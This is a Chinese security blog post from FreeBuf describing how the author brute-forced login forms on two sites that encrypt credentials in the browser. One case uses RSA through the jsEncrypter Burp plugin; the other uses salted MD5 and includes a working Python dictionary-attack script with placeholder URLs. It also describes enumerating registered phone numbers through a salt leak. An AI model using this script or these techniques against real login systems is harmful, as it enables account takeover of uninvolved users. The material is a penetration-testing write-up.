技術討論 | 如何對經前端加密後的資料進行爆破
*本文作者:為了逆襲,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
最近遇到兩個個案例,經過一番倒騰,發現其登入功能均可撞庫。但是都存在登入資料本地加密,有空了放一起總結記錄一下。
一、案例1(RSA本地加密)
摸底:
首先,進行正常登入邏輯測試,發現該系統登入邏輯分下面兩步:
輸入正確使用者名稱密碼,校驗正確後,向註冊手機號傳送驗證碼;
輸入正確驗證碼,登入系統。
從該邏輯可知此處可通過填寫登入使用者名稱密碼後是否傳送驗證碼來判斷輸入資料是否為正確使用者登入憑證,由於站點未對獲取驗證碼提交頻率作任何限制,從而可自動化提交來獲取該站點正確使用者名稱密碼。
演習:
在google的過程中,很快的找到了一款burpsuite套件:jsEncrypter(感謝作者提供這麼利索的外掛)。下載地址: ofollow" rel="nofollow,noindex" target="_blank">https://github.com/c0ny1/jsEncrypter/releases 。
安裝完成後,我們將jsencrypt.min.js下載至本地。然後對站點系統前端程式碼進行除錯,分析前端處理過程,編寫js模板檔案。
在審計前端原始碼頁面中,可以找到,在ui目錄下的lib資料夾下有一個security資料夾,而其中的rsa_util.js就是呼叫jsencrypt.min.js檔案種的JSEncrypt方法對使用者名稱密碼進行加密。
我們可以很清楚看到加密過程,然後根據jsEncrypter的readme文件中的使用指南,我們可以根據其呼叫邏輯,自行編寫一個jsEncrypter_rsa.js檔案,來呼叫jsencrypt.min.js檔案為我們的明文資料進行加密。
這裡有兩個小坑:
由動態除錯可知,公鑰_pubk在cookie中以url編碼後的方式儲存,因此,我們本地呼叫,需要解碼一下,在這裡,對於換行符,需要用\n替換。
由於jsEncrypter外掛使用了phantomjs平臺,而phantomjs支援url解碼的函式為encodeURIComponent。因此不能使用與系統前端一致的encodeURI函式。
然後仿寫系統加密的方式,將公鑰以及呼叫邏輯寫入到我們自己的js檔案中:
攻擊:
1、執行phantomJS並測試。
2、Burpsuite驗證,呼叫成功:
3、抓包,載入字典,實施爆破 (兩個引數的字典都使用外掛) :
然後,成功爆破:
二、案例2(md5本地加密)
摸底:
首先通過分析使用者登入過程,發現該站點登入無驗證碼,可多次提交登入資料,但是其使用者名稱密碼在本地進行了md5加密處理。因此,撞庫之前需要本地實現將字典進行加密操作後再提交。
對登入功能抓包分析後,可以看到在填寫使用者名稱密碼後,前端傳送如下資料包獲取cd、salt資料包:
此處存在salt洩漏風險,可遍歷手機號,對於未註冊⽤使用者,返回值⽆salt,對於已註冊⽤戶salt值恆定。
而實施撞庫,需要先請求得到salt與cd值。然後可從前端程式碼中得到加密使用者名稱密碼過程:
pass經過本地md5加密後, 傳送至服務端進行登入校驗。
演習:
因此,我們只需要用指令碼,先輸入使用者名稱即手機號,請求得到cd、salt值,然後再從密碼字典中,取出密碼進行md5加密,最後發包請求即可。編寫python指令碼如下:
#-*- coding=utf-8 -*-
import requests
import hashlib
import json
def GetPass():
fp = open("./pass.txt","r")
if fp == 0:
print ("open file error!")
return;
while 1:
line = fp.readline()
if not line:
break
passwd = line.strip('\n')
Brute_Force_Dididai("150****1403",passwd);
def Brute_Force_Dididai(username,password):
# url = ""
s = requests.Session()
s.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.103 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
}
url = " etcd" rel="nofollow,noindex" target="_blank">http://www.foo.com/?m=&s=getcd "
data = {"username":username}
html = s.post(url,data = data)
print html.content
salt_cd = json.loads(html.content)
print salt_cd['salt']
print salt_cd['cd']
md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()+salt_cd['salt']
md5_salt = hashlib.md5(md5_pass.encode('utf-8')).hexdigest()+str(salt_cd['cd'])
md5_cd = hashlib.md5(md5_salt.encode('utf-8')).hexdigest()
print md5_cd
url1 = " http://www.foo.com/?m=&s=login_wd&ismd5=1 "
data1 = {"username":"username","password":md5_cd}
html1 = s.post(url1,data = data1)
print html1.content
print len(html1.content);
GetPass()
然後準備測試pass.txt:
攻擊:
最後只需要執行指令碼即可:
最後是爆破成功返回到資料包,由此可得到正確使用者名稱密碼。
PS:菜雞拙作,有不妥之處歡迎各位賜教。感謝各位閱覽~
*本文作者:為了逆襲,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。